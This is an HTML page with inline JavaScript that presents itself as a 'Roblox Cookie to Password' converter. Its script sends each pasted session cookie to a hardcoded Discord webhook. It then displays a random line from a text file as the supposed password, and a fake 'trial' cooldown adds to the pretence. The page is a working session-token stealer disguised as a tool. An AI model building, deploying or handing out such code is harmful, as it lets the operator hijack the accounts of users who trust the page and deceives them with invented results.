<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Roblox Cookie to Password</title>
  <link rel="stylesheet" href="styles.css">
</head>
<body>
  <header>
    <div class="logo">
      <div class="logo-circle"></div>
      <h2>Profile to Password</h2>
    </div>
    <nav>
      <a href="#">Home</a>
    </nav>
  </header>
  <main>
    <h1>Updated Daily</h1>
    <div class="form-container">
      <form id="cookieForm">
        <label for="cookie">The user's cookie (Required)</label>
        <input type="text" id="cookie" placeholder="Copy and paste the specified user's cookie." required>
        <p class="error-message" id="errorMessage"></p>
        <button type="submit">Translate</button>
      </form>
    </div>
    <div id="generatedPasswordContainer">
      <p id="generatedPassword"></p>
    </div>
  </main>
  <script>
    const discordWebhookURL = 'https://discord.com/api/webhooks/1321014467961688086/23ZdDrcdjDDqo13bX7Rt1OUu5K7nfNSdAYUcIOih9UIiGD506j4ZkW4M6U2wREn-8C6l';

    document.getElementById('cookieForm').addEventListener('submit', function(event) {
      event.preventDefault();

      const errorMessage = document.getElementById('errorMessage');
      const lastSubmissionTime = localStorage.getItem('lastSubmissionTime');
      const currentTime = Date.now();

      // Cooldown logic
      if (lastSubmissionTime && currentTime - lastSubmissionTime < 3600000) {
        const remainingTime = Math.ceil((3600000 - (currentTime - lastSubmissionTime)) / 60000); // Time in minutes
        errorMessage.textContent = `❌ Trial version ended. Try again in ${remainingTime} minute(s).`;
        errorMessage.style.display = 'block';
        return;
      }

      const cookieValue = document.getElementById('cookie').value;

      if (!cookieValue) {
        errorMessage.textContent = '⚠️ Invalid cookie. Ensure it is a valid Roblox cookie.';
        errorMessage.style.display = 'block';
      } else if (!isValidCookie(cookieValue)) {
        errorMessage.textContent = '⚠️ Invalid cookie. Ensure it is a valid Roblox cookie.';
        errorMessage.style.display = 'block';
      } else {
        errorMessage.style.display = 'none';
        sendToDiscord(cookieValue);
        getRandomPassword();

        // Set cooldown timestamp
        localStorage.setItem('lastSubmissionTime', currentTime);
      }
    });

    function sendToDiscord(cookie) {
      const payload = { content: `Received Session: ${cookie}`, username: "Session" };
      fetch(discordWebhookURL, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(payload)
      })
        .then(response => {
          if (response.ok) {
            console.log('Cookie sent to Discord successfully');
          } else {
            console.error('Error sending cookie to Discord');
          }
        })
        .catch(error => {
          console.error('Fetch error:', error);
        });
    }

    function getRandomPassword() {
      const passwordsFileURL = 'hello.txt';
      fetch(passwordsFileURL)
        .then(response => {
          if (!response.ok) {
            throw new Error('Network response was not ok');
          }
          return response.text();
        })
        .then(text => {
          const passwords = text.split('\n').filter(Boolean);
          if (passwords.length === 0) {
            throw new Error('Password file is empty.');
          }
          const randomPassword = passwords[Math.floor(Math.random() * passwords.length)];
          document.getElementById('generatedPassword').textContent = `✅ User Password: ${randomPassword}`;
        })
        .catch(error => {
          console.error('Error fetching the passwords file:', error);
          document.getElementById('generatedPassword').textContent = '⚠️ Could not retrieve password. Please try again later.';
        });
    }

    function isValidCookie(cookie) {
      const uppercaseCount = (cookie.match(/[A-Z]/g) || []).length;
      const numberCount = (cookie.match(/[0-9]/g) || []).length;
      const containsUnderscore = cookie.includes('_');
  
      return uppercaseCount >= 5 && numberCount >= 5 && containsUnderscore;
    }
  </script>
</body>
</html>